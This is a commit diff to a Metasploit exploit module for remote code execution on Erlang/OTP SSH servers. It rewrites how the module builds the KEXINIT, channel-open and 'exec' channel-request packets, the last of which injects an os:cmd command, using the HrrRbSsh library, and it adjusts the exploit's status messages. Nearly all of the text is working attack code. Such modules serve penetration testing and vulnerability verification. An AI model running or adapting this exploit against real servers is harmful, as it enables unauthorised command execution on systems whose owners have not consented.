add HrrRbSsh and fix exploit response message

Signed-off-by: RAMELLA Sebastien <[email protected]>

Author: mekhalleh

modules/exploits/linux/ssh/ssh_erlangotp_rce.rb

@@ -2,6 +2,9 @@
 # This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
+require 'hrr_rb_ssh/message/090_ssh_msg_channel_open'
+require 'hrr_rb_ssh/message/098_ssh_msg_channel_request'
+require 'hrr_rb_ssh/message/020_ssh_msg_kexinit'
 
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
@@ -80,42 +83,53 @@ def initialize(info = {})
 
   # builds SSH_MSG_CHANNEL_OPEN for session
   def build_channel_open(channel_id)
-    "\x5a" +
-      string_payload('session') +
-      [channel_id].pack('N') +
-      [0x68000].pack('N') +
-      [0x10000].pack('N')
+    msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN.new
+    payload = {
+      'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN::VALUE,
+      'channel type': 'session',
+      'sender channel': channel_id,
+      'initial window size': 0x68000,
+      'maximum packet size': 0x10000
+    }
+    msg.encode(payload)
   end
 
   # builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
   def build_channel_request(channel_id, command)
-    "\x62" +
-      [channel_id].pack('N') +
-      string_payload('exec') +
-      "\x01" +
-      string_payload("os:cmd(\"#{command}\").")
+    msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST.new
+    payload = {
+      'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST::VALUE,
+      'recipient channel': channel_id,
+      'request type': 'exec',
+      'want reply': true,
+      command: "os:cmd(\"#{command}\")."
+    }
+    msg.encode(payload)
   end
 
   # builds a minimal but valid SSH_MSG_KEXINIT packet
   def build_kexinit
-    cookie = SecureRandom.random_bytes(16)
-    "\x14" +
-      cookie +
-      name_list(
-        [
-          'curve25519-sha256',
-          'ecdh-sha2-nistp256',
-          'diffie-hellman-group-exchange-sha256',
-          'diffie-hellman-group14-sha256'
-        ]
-      ) +
-      name_list(['rsa-sha2-256', 'rsa-sha2-512']) +
-      name_list(['aes128-ctr']) * 2 +
-      name_list(['hmac-sha1']) * 2 +
-      name_list(['none']) * 2 +
-      name_list([]) * 2 +
-      "\x00" +
-      [0].pack('N')
+    msg = HrrRbSsh::Message::SSH_MSG_KEXINIT.new
+    payload = {}
+    payload[:"message number"] = HrrRbSsh::Message::SSH_MSG_KEXINIT::VALUE
+    # The definition for SSH_MSG_KEXINIT in 020_ssh_msg_kexinit.rb expects each cookie byte to be its own field. The
+    # encode method expects a hash and so we need to duplicate the "cookie (random byte)" key in the hash 16 times.
+    16.times do
+      payload[:"cookie (random byte)".dup] = SecureRandom.random_bytes(1).unpack1('C')
+    end
+    payload[:kex_algorithms] = ['curve25519-sha256', 'ecdh-sha2-nistp256', 'diffie-hellman-group-exchange-sha256', 'diffie-hellman-group14-sha256']
+    payload[:server_host_key_algorithms] = ['rsa-sha2-256', 'rsa-sha2-512']
+    payload[:encryption_algorithms_client_to_server] = ['aes128-ctr']
+    payload[:encryption_algorithms_server_to_client] = ['aes128-ctr']
+    payload[:mac_algorithms_client_to_server] = ['hmac-sha1']
+    payload[:mac_algorithms_server_to_client] = ['hmac-sha1']
+    payload[:compression_algorithms_client_to_server] = ['none']
+    payload[:compression_algorithms_server_to_client] = ['none']
+    payload[:languages_client_to_server] = []
+    payload[:languages_server_to_client] = []
+    payload[:first_kex_packet_follows] = false
+    payload[:"0 (reserved for future extension)"] = 0
+    msg.encode(payload)
   end
 
   # formats a list of names into an SSH-compatible string (comma-separated)
@@ -228,13 +242,11 @@ def exploit
     begin
       response = sock.get_once(1024, 5)
       if response
+        print_good('Packets sent successfully and receive response from the server')
         vprint_status("Received response: #{response.unpack('H*').first}")
-        print_good('Payload sent successfully')
-      else
-        print_status('No response within timeout period (which is expected)')
       end
     rescue Rex::TimeoutError
-      print_status('No response within timeout period (which is expected)')
+      print_error('Connection timed out')
     end
     sock.close
   rescue Rex::ConnectionError